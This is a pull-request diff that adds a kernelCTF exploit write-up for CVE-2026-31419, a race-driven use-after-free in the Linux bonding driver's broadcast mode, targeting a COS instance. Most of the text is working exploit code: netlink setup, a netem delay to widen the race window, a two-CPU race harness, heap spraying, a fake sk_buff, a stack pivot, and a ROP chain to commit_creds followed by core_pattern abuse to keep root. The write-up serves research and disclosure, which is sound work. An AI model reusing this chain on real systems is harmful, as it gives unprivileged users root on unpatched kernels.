Skip to content
Closed
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
3 changes: 3 additions & 0 deletions pocs/linux/kernelctf/CVE-2026-31419_cos/.gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
bzImage
vmlinux
rootfs.img.gz
371 changes: 371 additions & 0 deletions pocs/linux/kernelctf/CVE-2026-31419_cos/docs/exploit.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,371 @@
Exploit Details
===============

In this writeup we explain how we exploited CVE-2026-31419 to capture the flag
on a `cos-121-18867.294.134` instance.

# Prologue

CVE-2026-31419 is a use-after-free in the Linux bonding driver. In broadcast
mode, `bond_xmit_broadcast()` reuses the original `sk_buff` for the "last" slave
and clones it for the others, but the "last" slave is chosen inside an
RCU-protected loop. By racing slave enslave/release against a broadcast
transmit, the original `skb` is consumed twice, giving us a UAF on an
`skbuff_head_cache` object. We turn that UAF into RIP control via a fake `skb`,
pivot the stack, and run a ROP chain that calls `commit_creds(&init_cred)` to
escalate privileges and read the flag.

## What We Cover

- Root-cause analysis of CVE-2026-31419
- Building the network topology to reach `bond_xmit_broadcast()`
- Enlarging the race window with a `netem` delay qdisc
- Winning the race deterministically (two-CPU pipe handshake)
- Detecting the double-free
- Turning the UAF into RIP control with a fake `skb`
- Stack pivot and ROP to `commit_creds`
- Capturing the flag

# Root-Cause Analysis

The vulnerable function is `bond_xmit_broadcast()` in
`drivers/net/bonding/bond_main.c`. Simplified, the pre-patch logic is:

```c
bond_for_each_slave_rcu(bond, slave, iter) {
if (bond_is_last_slave(bond, slave))
break;
if (bond_slave_is_up(slave) && slave->link == BOND_LINK_UP) {
struct sk_buff *skb2 = skb_clone(skb, GFP_ATOMIC);
if (!skb2)
continue;
bond_dev_queue_xmit(bond, skb2, slave->dev);
}
}
if (slave && bond_slave_is_up(slave) && slave->link == BOND_LINK_UP)
return bond_dev_queue_xmit(bond, skb, slave->dev); /* reuse original */
```

For every slave except the last, the code clones `skb` and transmits the clone.
For the last slave it transmits the **original** `skb`. The "last" slave is
determined by `bond_is_last_slave()`, which inspects the live slave list.

The iteration is protected only by RCU, **not** by `rtnl`. Operations that add
or remove slaves (`RTM_NEWLINK` / `RTM_SETLINK` with `IFLA_MASTER`,
`RTM_DELLINK`) take `rtnl` but do not block the RCU read side. So while a
broadcast transmit is in flight, a concurrent enslave/release can change which
slave `bond_is_last_slave()` reports.

If the list mutates such that the loop's notion of "last" and the post-loop
`slave` pointer disagree, the original `skb` is handed to the transmit path
twice — once inside the loop (as the slave that was *thought* not to be last but
became last) and once after the loop — double-consuming it. The result is a
double-free / use-after-free of an `sk_buff` allocated from
`skbuff_head_cache` (object size 0xe0 / 224 bytes, in the `kmalloc`-adjacent
`skbuff_head_cache`).

```
BUG: KASAN: slab-use-after-free in skb_clone
Read of size 8 at addr ffff888100ef8d40 by task exploit/147
skb_clone (net/core/skbuff.c:2108)
bond_xmit_broadcast (drivers/net/bonding/bond_main.c:5334)
bond_start_xmit
dev_hard_start_xmit
__dev_queue_xmit
ip6_finish_output2
...
udpv6_sendmsg
__sys_sendto
The buggy address belongs to the object at ffff888100ef8c80
which belongs to the cache skbuff_head_cache of size 224
```

# Building the Topology

To reach `bond_xmit_broadcast()` from userspace we build the following topology
inside a user namespace (which grants `CAP_NET_ADMIN`):

```c
int fd = initNL();
NLMsgSend(fd, bondAdd("bond0")); /* create the bond master */
NLMsgSend(fd, bondModeSet("bond0", 3)); /* mode 3 = BOND_MODE_BROADCAST */
NLS(fd, linkMtuSet("bond0", 0x9999)); /* large MTU */
NLMsgSend(fd, linkSet("bond0", 1)); /* bring bond0 up */

NLMsgSend(fd, dummyAdd("dummy0")); /* slave A: a dummy device */
NLS(fd, vethAdd("veth0", "veth1")); /* slave B: one end of a veth pair */
NLS(fd, linkSet("veth1", 1));
NLS_IF(fd, netemQdisc(QDISC_ADD, 0x10000, -1, LARGE_USEC_FOR_SLEEP), "veth0");
NLMsgSend(fd, linkMasterSet("veth0", "bond0"));
NLMsgSend(fd, linkMasterSet("dummy0", "bond0"));
NLMsgSend(fd, dummySet("dummy0", 1));
```

Key choices:

- **`bond0` in broadcast mode** is the only mode that funnels transmits through
`bond_xmit_broadcast()`.
- **`dummy0`** is a stable slave that always stays enslaved. It serves as one of
the two slaves the loop walks.
- **`veth0`** is the slave we repeatedly enslave/release to drive the race. We
use a `veth` pair because it can carry a real qdisc and be flapped cheaply.
- A `sendto()` on an `AF_INET6` `SOCK_DGRAM` socket bound to the multicast group
`ff02::1` with `sin6_scope_id = if_nametoindex("bond0")` triggers a broadcast
transmit through `bond0`:

```c
void prepare_if_bc(char *if_name){
if_bc_socket = socket(AF_INET6, SOCK_DGRAM, 0);
int ifindex = if_nametoindex(if_name);
dst.sin6_family = AF_INET6;
dst.sin6_port = htons(12345);
inet_pton(AF_INET6, "ff02::1", &dst.sin6_addr);
dst.sin6_scope_id = ifindex;
}
```

# Enlarging the Race Window

A bare broadcast transmit races through `bond_xmit_broadcast()` far too quickly
to reliably interpose a slave-list mutation. We widen the window by attaching a
`netem` qdisc with a huge latency to `veth0`:

```c
NLS_IF(fd, netemQdisc(QDISC_ADD, 0x10000, -1, LARGE_USEC_FOR_SLEEP), "veth0");
```

`netem` delays the dequeue of packets queued on `veth0`. This stretches the time
the kernel spends holding/handling the broadcast `skb` for that slave, turning
the otherwise instantaneous transmit into a controllable interval during which
the racing thread can release and re-enslave `veth0` and flip which slave is
considered "last".

The qdisc is also our **free trigger**: deleting it (`qdiscDel(0x10000)`)
flushes and frees the `sk_buff`s sitting in the netem queue, which is how we
release the doubly-referenced object on demand.

# Winning the Race

We use two processes pinned to two different CPUs, coordinated by a pair of
pipes, so the "spray on CPU0, free/observe on CPU1" choreography is
deterministic rather than probabilistic.

**Child (CPU0) — the flapper / re-allocator:**

```c
if (fork() == 0) {
pinCPU(0);
struct pollfd pfd1 = {.fd = pipefd1[0], .events = POLLIN};
while (1) {
NLMsgSend(fd, linkMasterDel("veth0")); /* release veth0 */
NLMsgSend(fd, linkMasterSet("veth0","bond0")); /* re-enslave */
if (poll(&pfd1, 1, 0) > 0) { /* parent says FIRE */
for (int i = 0x20; i < 0x31; i++) /* alloc on CPU0 */
write(sk_fd[i][1], trash, SKB_DATA_SIZE);
pinCPU(1);
for (int i = 0x20; i < 0x31; i++) /* hand back to CPU1 */
read(sk_fd[i][0], trash, SKB_DATA_SIZE);
write(pipefd2[1], trash, 4);
sleep(1000);
}
}
}
```

The continuous `linkMasterDel("veth0")` / `linkMasterSet("veth0","bond0")` loop
is what mutates the slave list under the broadcast's RCU read side.

**Parent (CPU1) — the sprayer / detector:**

The parent sprays `sk_buff`s through unix sockets (`sk_fd[i]`, allocated by
`initSocketArrayN(sk_fd, 0x200)`) of size `SKB_DATA_SIZE = 0x400 - 0x140`, then
fires the broadcast and the qdisc delete:

```c
for (size_t i = 0x0; i < 0x10; i++) /* pre-pad */
write(sk_fd[i][1], trash, SKB_DATA_SIZE);
sendto(if_bc_socket, trash, 0x200-0x140-0x48-1, 0,
(struct sockaddr *)&dst, sizeof(dst)); /* broadcast transmit */
for (size_t i = 0x10; i < 0x20; i++) { /* tag & spray */
*ptr = i;
write(sk_fd[i][1], trash, SKB_DATA_SIZE);
}
NLS_IF(fd, qdisc_del_message, "veth0"); /* free queued skbs */
for (int i = 0x40; i < 0x60; i++) {
*ptr = i;
write(sk_fd[i][1], trash, SKB_DATA_SIZE);
}
```

Each sprayed buffer is tagged with its index at offset 0 (`*ptr = i`). When we
read the buffers back, a slot whose contents no longer match its tag (or whose
read fails) tells us a sprayed object was freed out from under us — i.e. the
double-free landed on a unix-socket `skb`:

```c
for (size_t i = 0x10; i < 0x20; i++) {
int res = read(sk_fd[i][0], trash, SKB_DATA_SIZE);
if (res < 0 || *ptr != i) {
/* race hit: this slot was double-freed */
write(pipefd1[1], "FIRE", 4);
read(pipefd2[0], trash, 4);
...
}
}
```

If the race did not hit, the parent re-adds the qdisc and drains the sprays,
then loops:

```c
NLS_IF(fd, qdisc_add_message, "veth0");
for (size_t i = 0x0; i < 0x10; i++) read(sk_fd[i][0], trash, SKB_DATA_SIZE);
for (int i = 0x40; i < 0x60; i++) read(sk_fd[i][0], trash, SKB_DATA_SIZE);
```

The `0x100..0x180` sprays earlier in the function fill SLUB CPU-partial lists so
that the freed victim and our replacement objects land on the same active slab,
making the reclaim of the freed `skb` slot predictable.

# From UAF to RIP Control

Once we know a sprayed `skb` slot has been freed, we reclaim that freed memory
with attacker-controlled content and craft a **fake `skb`** that the kernel will
later dereference on a subsequent socket operation.

First we drain the surrounding sprays and reclaim the freed page using
`PACKET_TX_RING` page-vector spray:

```c
for (size_t j = i+1; j < 0x20; j++) read(sk_fd[j][0], trash, SKB_DATA_SIZE);
for (size_t i = 0x0; i < 0x10; i++) read(sk_fd[i][0], trash, SKB_DATA_SIZE);
for (int i = 0x100; i < 0x180; i += 0x10) read(sk_fd[i][0], trash, SKB_DATA_SIZE);

pgvAdd(0, 0, 0x100); /* allocate page vector */
char *target = pgvMap(0); /* map it into userspace */
char *fake_skb = make_fake_skb(); /* build the malicious skb image */
char buf[0x1000];
for (int i = 0; i < 0x10; i++) memcpy(buf + i*0x100, fake_skb, 0x100);
for (int i = 0; i < 0x100; i++) memcpy(target + i*0x1000, buf, 0x1000);
```

The fake `skb` is laid out to match the fields the kernel touches when servicing
a `recv()` on the unix socket that still references the freed object. The layout
(`fake_skb_t`) carefully places:

- `next` / `prev` — the receive-queue list pointers, aimed at a writable kernel
pointer so list operations succeed.
- `len = 0`, `datalen = 1`, `end = 0x10` — sizing fields chosen so the kernel
takes the path that dereferences our controlled function pointer.
- `head` / `cur` — pointed at a writable kernel address.
- `rip_control` at offset `0x60` — the field the kernel indirectly calls,
pointing at our stack-pivot gadget.

```c
fake_skb->next = ADDRESS_WITH_WRITABLE_POINTER - 8 - KASLR + kaslr;
fake_skb->prev = ADDRESS_WITH_WRITABLE_POINTER - KASLR + kaslr;
fake_skb->rip_control = PIVOT_GADGET - KASLR + kaslr;
fake_skb->head = ADDRESS_WITH_WRITABLE_POINTER - KASLR + kaslr;
fake_skb->cur = ADDRESS_WITH_WRITABLE_POINTER - KASLR + kaslr;
```

Triggering the dereference is a zero-length `recv()` on the dangling socket:

```c
res = recv(sk_fd[i][0], trash, 0, 0); /* kernel calls fake_skb->rip_control */
```

# Stack Pivot and ROP

`rip_control` points at `PIVOT_GADGET`. At the moment of the indirect call a
register points into our fake object, so we use a reflecting gadget to move the
ROP chain into `RSP`. We place an `add rsp, 0x60 ; ret` gadget at offset `0x10`
of the fake object:

```c
size_t rop_reflect[] = { ADD_RSP_0x60 - KASLR + kaslr };
memcpy(((char*)fake_skb) + 0x10, &rop_reflect, sizeof(rop_reflect));
```

and the ROP chain at offset `0x78`:

```c
size_t rop_chain[] = {
POP_RDI - KASLR + kaslr, INIT_CRED - KASLR + kaslr, /* rdi = &init_cred */
COMMIT_CREDS - KASLR + kaslr, /* commit_creds() */
POP_R11_RCX - KASLR + kaslr, user_rflags, (size_t)fork_shell,
SYSRET - KASLR + kaslr, user_sp | 8 /* iret/sysret back */
};
memcpy(((char*)fake_skb) + 0x78, &rop_chain, sizeof(rop_chain));
```

The chain:

1. `pop rdi ; ret` → `RDI = &init_cred`
2. `commit_creds(&init_cred)` → the current task gets full root credentials
3. `pop r11 ; pop rcx ; ret` then `sysret` → return cleanly to userspace at
`fork_shell` with the saved user `RFLAGS`/`RSP` (captured earlier by
`saveStatus()`), avoiding a kernel crash on return.

KASLR is resolved up front with `get_kaslr_precise(1)`; every gadget/symbol
constant is rebased with `- KASLR + kaslr`.

# Privilege Escalation and Flag Capture

After `commit_creds(&init_cred)`, execution returns to `fork_shell()` in
userspace as root. Rather than spawn a shell directly, we abuse the
`core_pattern` technique so the privileged context survives:

```c
void fork_shell(){
int fd = open("/proc/sys/kernel/core_pattern", 2);
write(fd, "|/proc/%P/fd/666\0", 18);
close(fd);
sleep(1000);
}
```

`COREHEAD(argv)` at startup, together with `crash(666, "/tmp/exp")` running in a
dedicated child, sets up a file descriptor `666` pointing at a helper that, when
invoked by the kernel as the core-dump handler (`|/proc/%P/fd/666`), runs with
root privileges and reads the flag.

`main()` drives the whole thing in a retry loop so a missed race simply restarts
the attempt:

```c
int main(int argc, char *argv[]){
pinCPU(0);
kaslr = get_kaslr_precise(1);
COREHEAD(argv);
if (fork() == 0) { pinCPU(1); setsid(); crash(666, "/tmp/exp"); }
while (1) {
int pid = fork();
if (!pid) exploit();
else waitpid(pid, 0, 0);
}
}
```

# Stability

The exploit succeeds roughly 7 out of 10 runs and completes well within the
5-minute limit. The dominant source of failure is missing the race window in a
given attempt; the outer retry loop in `main()` re-runs `exploit()` until it
wins, and the two-CPU pipe handshake keeps the spray/free ordering deterministic
once the race does hit.

# Summary

1. Build a broadcast `bond0` with two slaves (`dummy0`, `veth0`); attach a
high-latency `netem` qdisc to `veth0` to widen the window.
2. Spray tagged `sk_buff`s; fire an IPv6 multicast broadcast through `bond0`
while continuously flapping `veth0`'s master, racing
`bond_xmit_broadcast()`'s RCU loop against the slave-list mutation.
3. Delete the qdisc to free the doubly-referenced `skb`; detect the double-free
via a tag mismatch on the sprayed slots.
4. Reclaim the freed object with a fake `skb` via `PACKET_TX_RING` page-vector
spray.
5. Trigger a `recv()` to call into the fake `skb`, pivot the stack, and ROP to
`commit_creds(&init_cred)`.
6. Return to userspace as root and read the flag via the `core_pattern` handler.
Loading
Loading